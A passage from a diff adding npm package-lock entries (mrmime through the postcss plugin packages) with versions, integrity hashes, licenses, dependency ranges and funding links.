">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/mrmime": { + "version": "2.0.1", + "integrity": "sha512-Y3wQdFg2Va6etvQ5I82yUhGdsKrcYox6p7FfL1LbK2J4V01F9TGlepTIhnK24t7koZibmg82KGglhA1XK5IsLQ==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "license": "MIT", + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/nanoid": { + "version": "3.3.16", + "integrity": "sha512-bzlKTyNJ7+LdGIIwy8ijFpIqEQIvafahV7eYykJ8Cvh42EdJeODoJ6gUJXpQJvej1BddH8OqTXZNE/KfbWAu8Q==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/negotiator": { + "version": "0.6.4", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "license": "MIT" + }, + "node_modules/no-case": { + "version": "3.0.4", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "license": "MIT", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-emoji": { + "version": "2.2.0", + "integrity": "sha512-Z3lTE9pLaJF47NyMhd4ww1yFTAP8YhYI8SleJiHzM46Fgpm5cnNzSl9XfzFNqbaz+VlJrIj3fXQ4DeN1Rjm6cw==", + "license": "MIT", + "dependencies": { + "@sindresorhus/is": "^4.6.0", + "char-regex": "^1.0.2", + "emojilib": "^2.4.0", + "skin-tone": "^2.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/node-releases": { + "version": "2.0.51", + "integrity": "sha512-wRNIrw4DmVLKQlbgOMdkMx27Wrpzes2hh5Jtbi2bjPd+4wJstWIqP5A+lscnqbm0xxmT5Bpg8Lec5ItEBwx6BQ==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "8.1.1", + "integrity": "sha512-JYc0DPlpGWB40kH5g07gGTrYuMqV653k3uBKY6uITPWds3M0ov3GaWGp9lbE3Bzngx8+XkfzgvASb9vk9JDFXQ==", + "license": "MIT", + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/npm-run-path": { + "version": "4.0.1", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "license": "MIT", + "dependencies": { + "path-key": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/nprogress": { + "version": "0.2.0", + "integrity": "sha512-I19aIingLgR1fmhftnbWWO3dXc0hSxqHQHQb3H8m+K3TnEn/iSeTZZOyvKXWqQESMwuUVnatlCnZdLBZZt2VSA==", + "license": "MIT" + }, + "node_modules/nth-check": { + "version": "2.1.1", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "license": "BSD-2-Clause", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/null-loader": { + "version": "4.0.1", + "integrity": "sha512-pxqVbi4U6N26lq+LmgIbB5XATP0VdZKOG25DhHi8btMmJJefGArFyDg1yc4U3hWCJbMqSrw0qyrz1UQX+qYXqg==", + "license": "MIT", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/null-loader/node_modules/ajv": { + "version": "6.14.0", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/null-loader/node_modules/ajv-keywords": { + "version": "3.5.2", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "license": "MIT", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/null-loader/node_modules/json-schema-traverse": { + "version": "0.4.1", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "license": "MIT" + }, + "node_modules/null-loader/node_modules/schema-utils": { + "version": "3.3.0", + "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==", + "license": "MIT", + "dependencies": { + "@types/json-schema": "^7.0.8", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.4", + "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.7", + "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "es-object-atoms": "^1.0.0", + "has-symbols": "^1.1.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "license": "MIT" + }, + "node_modules/on-finished": { + "version": "2.4.1", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "license": "MIT", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.1.0", + "integrity": "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "license": "MIT", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.2", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "license": "MIT", + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/opener": { + "version": "1.5.2", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==", + "license": "(WTFPL OR MIT)", + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/p-cancelable": { + "version": "3.0.0", + "integrity": "sha512-mlVgR3PGuzlo0MmTdk4cXqXWlwQDLnONTAg6sm62XkMJEiRxN3GL3SffkYvqwonbkJBcrI7Uvv5Zh9yjvn2iUw==", + "license": "MIT", + "engines": { + "node": ">=12.20" + } + }, + "node_modules/p-finally": { + "version": "1.0.0", + "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/p-limit": { + "version": "4.0.0", + "integrity": "sha512-5b0R4txpzjPWVw/cXXUResoD4hb6U/x9BH08L7nw+GN1sezDzPdxeRvpc9c433fZhBan/wusjbCsqwqm4EIBIQ==", + "license": "MIT", + "dependencies": { + "yocto-queue": "^1.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "6.0.0", + "integrity": "sha512-wPrq66Llhl7/4AGC6I+cqxT07LhXvWL08LNXz1fENOw0Ap4sRZZ/gZpTTJ5jpurzzzfS2W/Ge9BY3LgLjCShcw==", + "license": "MIT", + "dependencies": { + "p-limit": "^4.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-map": { + "version": "4.0.0", + "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==", + "license": "MIT", + "dependencies": { + "aggregate-error": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-queue": { + "version": "6.6.2", + "integrity": "sha512-RwFpb72c/BhQLEXIZ5K2e+AhgNVmIejGlTgiB9MzZ0e93GRvqZ7uSi0dvRF7/XIXDeNkra2fNHBxTyPDGySpjQ==", + "license": "MIT", + "dependencies": { + "eventemitter3": "^4.0.4", + "p-timeout": "^3.2.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-retry": { + "version": "6.2.1", + "integrity": "sha512-hEt02O4hUct5wtwg4H4KcWgDdm+l1bOaEy/hWzd8xtXB9BqxTWBBhb+2ImAtH4Cv4rPjV76xN3Zumqk3k3AhhQ==", + "license": "MIT", + "dependencies": { + "@types/retry": "0.12.2", + "is-network-error": "^1.0.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=16.17" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-timeout": { + "version": "3.2.0", + "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==", + "license": "MIT", + "dependencies": { + "p-finally": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/package-json": { + "version": "8.1.1", + "integrity": "sha512-cbH9IAIJHNj9uXi196JVsRlt7cHKak6u/e6AkL/bkRelZ7rlL3X1YKxsZwa36xipOEKAsdtmaG6aAJoM1fx2zA==", + "license": "MIT", + "dependencies": { + "got": "^12.1.0", + "registry-auth-token": "^5.0.1", + "registry-url": "^6.0.0", + "semver": "^7.3.7" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/param-case": { + "version": "3.0.4", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "license": "MIT", + "dependencies": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/parent-module": { + "version": "1.0.1", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "license": "MIT", + "dependencies": { + "callsites": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/parse-entities": { + "version": "4.0.2", + "integrity": "sha512-GG2AQYWoLgL877gQIKeRPGO1xF9+eG1ujIb5soS5gPvLQ1y2o8FL90w2QWNdf9I361Mpp7726c+lj3U0qK1uGw==", + "license": "MIT", + "dependencies": { + "@types/unist": "^2.0.0", + "character-entities-legacy": "^3.0.0", + "character-reference-invalid": "^2.0.0", + "decode-named-character-reference": "^1.0.0", + "is-alphanumerical": "^2.0.0", + "is-decimal": "^2.0.0", + "is-hexadecimal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/parse-entities/node_modules/@types/unist": { + "version": "2.0.11", + "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", + "license": "MIT" + }, + "node_modules/parse-json": { + "version": "5.2.0", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse-numeric-range": { + "version": "1.3.0", + "integrity": "sha512-twN+njEipszzlMJd4ONUYgSfZPDxgHhT9Ahed5uTigpQn90FggW4SA/AIPq/6a149fTbE9qBEcSwE3FAEp6wQQ==", + "license": "ISC" + }, + "node_modules/parse5": { + "version": "7.3.0", + "integrity": "sha512-IInvU7fabl34qmi9gY8XOVxhYyMyuH2xUNpb2q8/Y+7552KlejkRvqvD19nMoUW/uQGGbqNpA6Tufu5FL5BZgw==", + "license": "MIT", + "dependencies": { + "entities": "^6.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parse5-htmlparser2-tree-adapter": { + "version": "7.1.0", + "integrity": "sha512-ruw5xyKs6lrpo9x9rCZqZZnIUntICjQAd0Wsmp396Ul9lN/h+ifgVV1x1gZHi8euej6wTfpqX8j+BFQxF0NS/g==", + "license": "MIT", + "dependencies": { + "domhandler": "^5.0.3", + "parse5": "^7.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parse5/node_modules/entities": { + "version": "6.0.1", + "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/pascal-case": { + "version": "3.1.2", + "integrity": "sha512-uWlGT3YSnK9x3BQJaOdcZwrnV6hPpd8jFH1/ucpiLRPh/2zCVJKS19E4GvYHvaCcACn3foXZ0cLB9Wrx1KGe5g==", + "license": "MIT", + "dependencies": { + "no-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "node_modules/path-exists": { + "version": "5.0.0", + "integrity": "sha512-RjhtfwJOxzcFmNOi6ltcbcu4Iu+FL3zEj83dk4kAS+fVpTxXLO1b38RvJgT/0QwvV/L3aY9TAnyv0EOqW4GoMQ==", + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/path-is-inside": { + "version": "1.0.2", + "integrity": "sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==", + "license": "(WTFPL OR MIT)" + }, + "node_modules/path-key": { + "version": "3.1.1", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-parse": { + "version": "1.0.7", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==", + "license": "MIT" + }, + "node_modules/path-to-regexp": { + "version": "1.9.0", + "integrity": "sha512-xIp7/apCFJuUHdDLWe8O1HIkb0kQrOMb/0u6FXQjemHn/ii5LrIzU6bdECnsiTF/GjZkMEKg1xdiZwNqDYlZ6g==", + "license": "MIT", + "dependencies": { + "isarray": "0.0.1" + } + }, + "node_modules/path-type": { + "version": "4.0.0", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/picocolors": { + "version": "1.1.1", + "integrity": "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==", + "license": "ISC" + }, + "node_modules/picomatch": { + "version": "2.3.2", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/pkg-dir": { + "version": "7.0.0", + "integrity": "sha512-Ie9z/WINcxxLp27BKOCHGde4ITq9UklYKDzVo1nhk5sqGEXU3FpkwP5GM2voTGJkGd9B3Otl+Q4uwSOeSUtOBA==", + "license": "MIT", + "dependencies": { + "find-up": "^6.3.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/pkijs": { + "version": "3.4.0", + "integrity": "sha512-emEcLuomt2j03vxD54giVB4SxTjnsqkU692xZOZXHDVoYyypEm+b3jpiTcc+Cf+myooc+/Ly0z01jqeNHVgJGw==", + "license": "BSD-3-Clause", + "dependencies": { + "@noble/hashes": "1.4.0", + "asn1js": "^3.0.6", + "bytestreamjs": "^2.0.1", + "pvtsutils": "^1.3.6", + "pvutils": "^1.1.3", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/postcss": { + "version": "8.5.19", + "integrity": "sha512-Mz8SaolMd8nB+G13WkORcxQKHZ/NE4xXevtkJHVuG+guo9/wYKlIMTKAqGdEmYOXR2ijPjTYNHssizdaVSUNdQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/postcss" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "license": "MIT", + "dependencies": { + "nanoid": "^3.3.12", + "picocolors": "^1.1.1", + "source-map-js": "^1.2.1" + }, + "engines": { + "node": "^10 || ^12 || >=14" + } + }, + "node_modules/postcss-attribute-case-insensitive": { + "version": "7.0.1", + "integrity": "sha512-Uai+SupNSqzlschRyNx3kbCTWgY/2hcwtHEI/ej2LJWc9JJ77qKgGptd8DHwY1mXtZ7Aoh4z4yxfwMBue9eNgw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-attribute-case-insensitive/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": "sha512-HeP7D2wyhkR+XaK6v4W8oRF62Dsz4flyuczALJp61GckGm42u1saSSJ/0auvcBqxs3jMRFEcPK34At/0JBKdOg==", + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-calc": { + "version": "9.0.1", + "integrity": "sha512-TipgjGyzP5QzEhsOZUaIkeO5mKeMFpebWzRogWG/ysonUlnHcq5aJe0jOjpfzUU8PeSaBQnrE8ehR0QA5vs8PQ==", + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.0.11", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.2.2" + } + }, + "node_modules/postcss-clamp": { + "version": "4.1.0", + "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==", + "license": "MIT", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=7.6.0" + }, + "peerDependencies": { + "postcss": "^8.4.6" + } + }, + "node_modules/postcss-color-functional-notation": { + "version": "7.0.12", + "integrity": "sha512-TLCW9fN5kvO/u38/uesdpbx3e8AkTYhMvDZYa9JpmImWuTE99bDQ7GU7hdOADIZsiI9/zuxfAJxny/khknp1Zw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/css-color-parser": "^3.1.0", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/postcss-progressive-custom-properties": "^4.2.1", + "@csstools/utilities": "^2.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-color-hex-alpha": { + "version": "10.0.0", + "integrity": "sha512-1kervM2cnlgPs2a8Vt/Qbe5cQ++N7rkYo/2rz2BkqJZIHQwaVuJgQH38REHrAi4uM0b1fqxMkWYmese94iMp3w==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-color-rebeccapurple": { + "version": "10.0.0", + "integrity": "sha512-JFta737jSP+hdAIEhk1Vs0q0YF5P8fFcj+09pweS8ktuGuZ8pPlykHsk6mPxZ8awDl4TrcxUqJo9l1IhVr/OjQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT-0", + "dependencies": { + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-colormin": { + "version": "6.1.0", + "integrity": "sha512-x9yX7DOxeMAR+BgGVnNSAxmAj98NX/YxEMNFP+SDCEeNLb2r3i6Hh1ksMsnW8Ub5SLCpbescQqn9YEbE9554Sw==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "caniuse-api": "^3.0.0", + "colord": "^2.9.3", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-convert-values": { + "version": "6.1.0", + "integrity": "sha512-zx8IwP/ts9WvUM6NkVSkiU902QZL1bwPhaVaLynPtCsOTqp+ZKbNi+s6XJg3rfqpKGA/oc7Oxk5t8pOQJcwl/w==", + "license": "MIT", + "dependencies": { + "browserslist": "^4.23.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^14 || ^16 || >=18.0" + }, + "peerDependencies": { + "postcss": "^8.4.31" + } + }, + "node_modules/postcss-custom-media": { + "version": "11.0.6", + "integrity": "sha512-C4lD4b7mUIw+RZhtY7qUbf4eADmb7Ey8BFA2px9jUbwg7pjTZDl4KY4bvlUV+/vXQvzQRfiGEVJyAbtOsCMInw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/cascade-layer-name-parser": "^2.0.5", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/media-query-list-parser": "^4.0.3" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-custom-properties": { + "version": "14.0.6", + "integrity": "sha512-fTYSp3xuk4BUeVhxCSJdIPhDLpJfNakZKoiTDx7yRGCdlZrSJR7mWKVOBS4sBF+5poPQFMj2YdXx1VHItBGihQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/cascade-layer-name-parser": "^2.0.5", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "@csstools/utilities": "^2.0.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-custom-selectors": { + "version": "8.0.5", + "integrity": "sha512-9PGmckHQswiB2usSO6XMSswO2yFWVoCAuih1yl9FVcwkscLjRKjwsjM3t+NIWpSU2Jx3eOiK2+t4vVTQaoCHHg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/csstools" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/csstools" + } + ], + "license": "MIT", + "dependencies": { + "@csstools/cascade-layer-name-parser": "^2.0.5", + "@csstools/css-parser-algorithms": "^3.0.5", + "@csstools/css-tokenizer": "^3.0.4", + "postcss-selector-parser": "^7.0.0" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "postcss": "^8.4" + } + }, + "node_modules/postcss-custom-selectors/node_modules/postcss-selector-parser": { + "version": "7.1.4", + "integrity": 